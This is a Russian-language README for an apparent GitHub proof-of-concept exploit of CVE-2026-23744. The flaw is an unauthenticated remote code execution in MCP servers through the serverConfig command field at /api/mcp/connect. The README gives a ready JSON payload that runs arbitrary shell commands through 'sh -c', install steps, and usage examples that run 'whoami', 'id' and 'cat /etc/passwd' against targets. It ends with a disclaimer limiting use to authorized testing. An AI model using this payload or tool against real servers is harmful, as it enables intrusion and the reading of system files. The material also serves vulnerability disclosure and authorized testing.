d3vn0mi/cve-2026-23744-pocPython PoC для CVE-2026-23744, неаутентифицированное RCE в MCP-серверах через поле команды serverConfig в /api/mcp/connect (порт по умолчанию 6274)
Эксплойт Proof-of-Concept от d3vn0mi
CVE-2026-23744 — это уязвимость неаутентифицированного удалённого выполнения кода (RCE) в MCP-совместимых серверах, доступных на порту 6274. Конечная точка /api/mcp/connect принимает объект serverConfig, который позволяет вызывающей стороне указать произвольную команду ОС и аргументы — без какой-либо проверки подлинности или авторизации.
Злоумышленник, имеющий сетевой доступ к сервису, может выполнять произвольные команды от имени пользователя, запустившего MCP-сервер.
| Деталь | Значение |
|---|
| ID CVE | CVE-2026-23744 |
| Тип | Неаутентифицированное удалённое выполнение кода |
| Конечная точка | POST /api/mcp/connect |
| Порт | 6274 (по умолчанию) |
| Критичность | Критическая |
{
"serverConfig": {
"command": "sh",
"args": ["-c", "<ATTACKER_COMMAND>"],
"env": {}
},
"serverId": "anything"
}
Сервер запускает указанную command с заданными args без санитизации или контроля доступа.
git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt
# Базовое использование
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'
# Нестандартный порт
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'
# Пропустить проверку доступности
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check
# Пользовательский server ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server
| Флаг | Описание |
|---|---|
-t, --target | IP-адрес или имя хоста цели (обязательно) |
-c, --command | Команда ОС для выполнения (обязательно) |
-p, --port | Порт цели (по умолчанию: 6274) |
-s, --server-id | Значение serverId в нагрузке |
--timeout | Таймаут проверки в секундах (по умолчанию: 30) |
--no-check | Пропустить первоначальную проверку доступности |
/api/mcp/connect с помощью аутентификации и средств контроля на уровне сети.Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за неправомерное использование. Всегда получайте надлежащее разрешение перед тестированием.
Этот проект распространяется под лицензией MIT.
d3vn0mi — github.com/d3vn0mi